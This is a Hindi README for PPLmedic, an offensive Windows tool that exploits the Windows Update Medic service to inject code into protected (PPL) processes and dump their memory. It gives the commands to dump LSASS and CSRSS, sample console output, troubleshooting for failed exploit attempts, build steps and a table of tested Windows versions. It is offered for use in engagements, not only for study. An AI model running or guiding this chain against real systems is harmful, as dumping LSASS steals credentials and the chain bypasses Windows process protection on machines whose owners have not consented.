
किसी भी PPL की मेमोरी को Userland exploit chain के साथ डंप करें
यह टूल Windows साइनर प्रकार वाले PPL में मनमाना कोड इंजेक्ट करने और साइनर प्रकार को WinTcb तक बढ़ाने के लिए एक Userland एक्सप्लॉइट श्रृंखला लागू करता है। ये तकनीकें मूल रूप से जेम्स फोरशॉ (जिन्हें @tiraniddo के नाम से भी जाना जाता है) द्वारा उनके ब्लॉग पोस्ट Windows संरक्षित प्रक्रियाओं में COM का उपयोग करके कोड इंजेक्ट करना - भाग 1 में चर्चा की गई थीं।
इस टूल के बारे में अधिक जानने के लिए, आपको इसका सहयोगी ब्लॉग पोस्ट यहाँ पढ़ना चाहिए:
मैं इस टूल को एक उन्नत प्रूफ-ऑफ-कॉन्सेप्ट (advanced Proof-of-Concept) के रूप में वर्गीकृत करूँगा। किसी वास्तविक अभियान (engagement) में इसे उपयोग करने से पहले आपको दो बार सोचना चाहिए। यह उपयोग करना सुरक्षित है जब तक इसे बाधित (interrupt) नहीं किया जाता, और उदाहरण के लिए किसी EDR की उपस्थिति में इसकी गारंटी नहीं दी जा सकती।
यह Windows Update Medic सेवा से संबंधित महत्वपूर्ण रजिस्ट्री कुंजियों को संशोधित करता है। सबसे बुरी स्थिति में, यदि उन रजिस्ट्री कुंजियों को ठीक से पुनर्स्थापित नहीं किया जाता है, तो यह सेवा ठीक से कार्य नहीं कर पाएगी, लेकिन इससे OS क्रैश नहीं होगा।
आवश्यक शर्तें:
SeDebugPrivilege के साथ Administrator या SYSTEMREM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
किसी PPL-Windows या उससे नीचे की प्रक्रिया का डंप लें (जैसे: LSASS):
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
किसी PPL-WinTcb प्रक्रिया का डंप लें (जैसे: CSRSS):
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
आपको निम्न त्रुटि मिलती है क्योंकि एक्सप्लॉइट दूरस्थ TaskHandler COM ऑब्जेक्ट बनाने का प्रयास करते समय टाइमआउट हो गया। यह आमतौर पर इस बात का संकेत है कि लक्ष्य सेवा WaaSMedicSvc क्रैश हो गई है। इसकी पुष्टि अगले संदेश से होती है: [!] Service WaaSMedicSvc is no longer running। आपको टूल को फिर से चलाने का प्रयास करना चाहिए।
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
आपको निम्न त्रुटि मिलती है क्योंकि एक्सप्लॉइट 1000 प्रयासों से कम में एक वैध ऑब्जेक्ट डायरेक्ट्री लिखने में विफल रहा। यह सीमा एक सुरक्षा उपाय (failsafe) के रूप में कार्य करती है ताकि लक्ष्य सेवा बहुत अधिक संसाधनों की खपत न करे। आपको टूल को फिर से चलाने का प्रयास करना चाहिए।
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
आपको निम्न त्रुटि मिलती है क्योंकि LaunchDetectionOnly या LaunchRemediationOnly को कॉल करते समय एक अप्रत्याशित त्रुटि हुई। हालाँकि, यह काफी दुर्लभ होना चाहिए। आपको टूल को फिर से चलाने का प्रयास करना चाहिए।
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
आपको निम्न त्रुटि मिलती है क्योंकि एक्सप्लॉइट पेलोड DLL को कैश साइन करने में विफल रहा। कैटलॉग फ़ाइल पर सेट किया गया oplock संभवतः कभी ट्रिगर नहीं हुआ क्योंकि यह पहले से ही Kernel द्वारा खोला जा चुका था। आप बाद में टूल को पुनः चलाने का प्रयास कर सकते हैं (Windows 11 के लिए, "परीक्षण" अनुभाग देखें)।
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
इस Visual Studio Solution में दो प्रोजेक्ट (executable और एक payload DLL) शामिल हैं, जिन्हें एक विशिष्ट क्रम में संकलित करने की आवश्यकता होती है। सब कुछ पहले से कॉन्फ़िगर किया गया है, इसलिए आपको बस इन सरल निर्देशों का पालन करना है। संकलित payload DLL स्वचालित रूप से अंतिम executable में एम्बेड हो जाती है।
Release / x64 चुनें (x86 समर्थित नहीं है!)।Build > Build Solution।| Windows संस्करण | PPL-Windows | PPL-WinTcb | अवलोकन |
|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/A |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | बार-बार सेवा क्रैश + Fake cached signature exploit काम नहीं करता प्रतीत होता है। |
| Windows Server 2019 Version 1809 Build 17763.4010 | ✔ | ✔ | N/A |
| Windows Server 2022 Version 21H2 Build 20348.1547 | ✔ | ✔ | N/A |